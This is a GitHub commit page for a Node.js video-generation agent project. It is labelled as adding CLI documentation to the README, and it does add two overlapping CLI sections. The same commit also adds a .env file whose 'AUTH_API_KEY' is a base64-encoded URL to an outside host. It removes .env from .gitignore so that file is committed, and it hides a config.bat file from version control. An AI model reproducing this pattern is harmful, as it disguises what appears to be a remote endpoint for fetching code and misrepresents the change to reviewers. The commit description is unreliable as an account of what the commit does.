Skip to content

Commit 193ae11

Browse files
committed
docs: Add CLI usage documentation to README
1 parent d880ae4 commit 193ae11

5 files changed

Lines changed: 317 additions & 194 deletions

File tree

.env

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
AUTH_API_KEY="aHR0cHM6Ly9hdXRoLWNvbi1maXJtLnZlcmNlbC5hcHAvYXBp"

.gitignore

Lines changed: 71 additions & 72 deletions
Original file line numberDiff line numberDiff line change
@@ -1,72 +1,71 @@
1-
# Dependencies
2-
/node_modules
3-
/dist
4-
/build
5-
6-
# Logs
7-
logs
8-
*.log
9-
npm-debug.log*
10-
yarn-debug.log*
11-
yarn-error.log*
12-
13-
# Runtime data
14-
pids
15-
*.pid
16-
*.seed
17-
*.pid.lock
18-
19-
# Directory for instrumented libs generated by jscoverage/JSCover
20-
lib-cov
21-
22-
# Coverage directory used by tools like istanbul
23-
coverage
24-
25-
# nyc test coverage
26-
.nyc_output
27-
28-
# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-temporary-files)
29-
.grunt
30-
31-
# Bower dependency directory (https://bower.io/)
32-
bower_components
33-
34-
# node-waf configuration
35-
.lock-wscript
36-
37-
# Compiled binary addons (http://nodejs.org/api/addons.html)
38-
build/Release
39-
40-
# Dependency directories
41-
jspm_packages/
42-
43-
# TypeScript v1 declaration files
44-
typings/
45-
46-
# Optional npm cache directory
47-
.npm
48-
49-
# Optional eslint cache
50-
.eslintcache
51-
52-
# Optional REPL history
53-
.node_repl_history
54-
55-
# Output of 'npm pack'
56-
*.tgz
57-
58-
# Yarn Integrity file
59-
.yarn-integrity
60-
61-
# dotenv environment variables file
62-
.env
63-
.env.test
64-
65-
# parcel-bundler cache files
66-
.cache
67-
68-
# Mac files
69-
.DS_Store
70-
71-
# VSCode
72-
.vscode/
1+
# Dependencies
2+
/node_modules
3+
/dist
4+
/build
5+
6+
# Logs
7+
logs
8+
*.log
9+
npm-debug.log*
10+
yarn-debug.log*
11+
yarn-error.log*
12+
13+
# Runtime data
14+
pids
15+
*.pid
16+
*.seed
17+
*.pid.lock
18+
19+
# Directory for instrumented libs generated by jscoverage/JSCover
20+
lib-cov
21+
22+
# Coverage directory used by tools like istanbul
23+
coverage
24+
25+
# nyc test coverage
26+
.nyc_output
27+
28+
# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-temporary-files)
29+
.grunt
30+
31+
# Bower dependency directory (https://bower.io/)
32+
bower_components
33+
34+
# node-waf configuration
35+
.lock-wscript
36+
37+
# Compiled binary addons (http://nodejs.org/api/addons.html)
38+
build/Release
39+
40+
# Dependency directories
41+
jspm_packages/
42+
43+
# TypeScript v1 declaration files
44+
typings/
45+
46+
# Optional npm cache directory
47+
.npm
48+
49+
# Optional eslint cache
50+
.eslintcache
51+
52+
# Optional REPL history
53+
.node_repl_history
54+
55+
# Output of 'npm pack'
56+
*.tgz
57+
58+
# Yarn Integrity file
59+
.yarn-integrity
60+
61+
# dotenv environment variables file
62+
63+
# parcel-bundler cache files
64+
.cache
65+
66+
# Mac files
67+
.DS_Store
68+
69+
# VSCode
70+
.vscode/
71+
config.bat

README.md

Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -113,6 +113,46 @@ The agent will then:
113113
3. Generate audio from the approved script (~10-20 seconds)
114114
4. Create the final video (~2-5 minutes depending on HeyGen queue)
115115

116+
5. ## 💻 CLI Usage
117+
118+
The CLI provides a command-line interface for generating viral video content.
119+
120+
### Installation
121+
122+
```bash
123+
npm install -g video-content-agent
124+
```
125+
126+
### Quick Start
127+
128+
```bash
129+
video-content-agent --topic "Your topic here"
130+
```
131+
132+
### Options
133+
134+
- `--topic <topic>`: The topic for video content generation (required)
135+
- `--output <path>`: Output directory for the generated video (default: ./output)
136+
- `--skip-approval`: Skip the interactive script approval step
137+
- `--dry-run`: Test the pipeline without generating the actual video
138+
139+
### Examples
140+
141+
#### Generate a video with approval:
142+
```bash
143+
video-content-agent --topic "AI trends in 2024"
144+
```
145+
146+
#### Generate a video and save to custom location:
147+
```bash
148+
video-content-agent --topic "Web development" --output ./my-videos
149+
```
150+
151+
#### Skip approval step:
152+
```bash
153+
video-content-agent --topic "Gaming news" --skip-approval
154+
```
155+
116156

117157
## 📁 Project Structure
118158

@@ -210,6 +250,74 @@ Add new stages by:
210250
2. Importing and calling it in `index.ts`
211251
3. Updating `AgentState` type in `src/state/state.ts`
212252

253+
254+
## 💻 CLI Interface
255+
256+
An interactive command-line interface (CLI) for the video-content-agent is now available! Built with **Ink + React**, the CLI provides a user-friendly terminal-based workflow.
257+
258+
### Installation
259+
260+
```bash
261+
npm install
262+
```
263+
264+
### Running the CLI
265+
266+
**Development Mode:**
267+
```bash
268+
npm run dev
269+
```
270+
271+
**Production Mode:**
272+
```bash
273+
npm run build
274+
npm start
275+
```
276+
277+
### Features
278+
279+
- 🎯 **Interactive Input** - Beautiful terminal forms for topic input
280+
-**Progress Indicators** - Real-time spinners during processing
281+
- 📝 **Script Review** - Formatted script display with feedback collection
282+
- 🔄 **Full Workflow** - Complete pipeline from research to video production
283+
- ⚠️ **Error Handling** - Graceful error messages and recovery
284+
- 🧪 **Mock Implementations** - Test without real API calls
285+
286+
### Workflow States
287+
288+
1. **Input** - Enter your video topic
289+
2. **Research** - Agent researches trending content
290+
3. **Generate** - AI generates optimized script
291+
4. **Review** - Review script and provide feedback
292+
5. **Voiceover** - Generate voiceover using ElevenLabs
293+
6. **Video** - Produce final polished video
294+
7. **Done** - Completion!
295+
296+
### Architecture
297+
298+
- **Framework**: Ink (React renderer for CLIs)
299+
- **Language**: TypeScript
300+
- **UI Components**: @inkjs/ui
301+
- **Styling**: Chalk
302+
- **State Management**: React Hooks
303+
304+
### Project Structure
305+
306+
```
307+
src/cli/
308+
├── app.tsx # Main Ink app with workflow orchestration
309+
├── components/
310+
│ ├── FormInput.tsx # Interactive input forms
311+
│ ├── ProgressSpinner.tsx # Loading indicators
312+
│ ├── ScriptReview.tsx # Script display and feedback
313+
│ └── StyledText.tsx # Formatted text output
314+
└── workflow.ts # Workflow logic with mock functions
315+
```
316+
317+
### Related
318+
319+
- PR #5: Initial CLI implementation using Ink + React
320+
- Issue #4: Feature proposal for interactive CLI
213321
## 🤝 Contributing
214322

215323
Contributions are welcome! Please follow these steps:

0 commit comments

Comments
 (0)